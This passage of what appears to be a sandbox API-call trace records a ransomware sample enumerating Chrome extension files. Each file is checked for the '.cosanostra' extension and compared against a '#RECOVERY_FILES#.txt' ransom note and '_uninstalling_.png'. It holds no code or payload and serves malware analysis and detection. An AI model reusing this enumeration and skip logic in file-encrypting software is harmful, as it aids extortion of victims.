(lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.805] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 155 [0084.806] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.806] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.806] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.806] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 155 [0084.806] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.806] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.806] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.806] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 155 [0084.807] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.807] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.807] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.807] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json") returned 155 [0084.807] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.807] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.807] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.807] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json") returned 155 [0084.808] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.808] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.808] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.808] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 155 [0084.808] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.808] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.808] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.808] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 158 [0084.809] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.809] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.809] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.809] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 158 [0084.809] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.809] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.809] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.809] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 155 [0084.809] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.809] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.809] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.809] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 155 [0084.810] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.810] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.810] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.810] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 155 [0084.810] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.810] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.810] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.810] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 155 [0084.810] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.810] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.810] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.810] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 155 [0084.811] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.811] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.811] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.811] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 155 [0084.811] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.811] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.811] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.811] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 155 [0084.812] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.812] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.812] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.812] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 155 [0084.812] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.812] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.812] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.812] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 155 [0084.813] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.813] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.813] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.813] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 155 [0084.813] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.813] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.813] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.813] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 158 [0084.814] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.814] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.814] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.814] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 158 [0084.816] StrStrIW (lpFirst="computed_hashes.json", lpSrch=".cosanostra") returned 0x0 [0084.816] lstrcmpW (lpString1="computed_hashes.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.816] lstrcmpW (lpString1="computed_hashes.json", lpString2="_uninstalling_.png") returned 1 [0084.816] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 160 [0084.816] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0084.816] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.816] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0084.816] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 162 [0084.860] StrStrIW (lpFirst="128.png", lpSrch=".cosanostra") returned 0x0 [0084.860] lstrcmpW (lpString1="128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.860] lstrcmpW (lpString1="128.png", lpString2="_uninstalling_.png") returned 1 [0084.860] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 138 [0084.860] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0084.860] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.860] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0084.860] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 144 [0084.870] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.870] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.870] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.870] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 156 [0084.871] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.871] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.871] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.871] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 156 [0084.871] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.871] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.871] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.871] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 156 [0084.872] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.872] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.872] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.872] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 156 [0084.872] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.872] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.872] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.872] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 156 [0084.873] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.873] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.873] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.873] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 156 [0084.873] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.873] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.873] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.873] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 156 [0084.874] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.874] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.874] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.874] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 159 [0084.874] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.874] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.874] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.874] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 159 [0084.875] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.875] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.875] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.875] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned 156 [0084.875] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.875] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.875] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.875] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 160 [0084.876] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.876] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.876] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.876] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 156 [0084.876] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.876] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.876] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.876] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned 156 [0084.905] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.905] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.905] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.905] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 156 [0084.905] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.905] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.905] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.905] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 157 [0084.924] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.924] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.924] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.924] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 156 [0084.924] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.924] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.924] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.924] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json") returned 156 [0084.934] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.934] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.934] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.934] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 156 [0084.934] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.934] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.934] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.934] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 156 [0084.978] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.979] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.979] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.979] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 156 [0084.979] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.979] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.979] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.979] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 156 [0084.980] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.980] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.980] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.980] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 156 [0084.980] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.980] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.980] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.980] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 156 [0084.981] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.981] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.981] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.981] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 156 [0084.981] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.981] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.981] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.981] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 156 [0084.982] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.982] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.982] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.982] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 156 [0084.982] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.983] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.983] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.983] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 156 [0084.983] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.983] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.983] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.983] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 156 [0084.984] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.984] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.984] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.984] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 156 [0084.985] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.985] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.985] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.985] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 156 [0084.985] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.985] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.985] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.985] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 159 [0084.986] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.986] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.986] lstrcmpW (lpString1="messages.json", 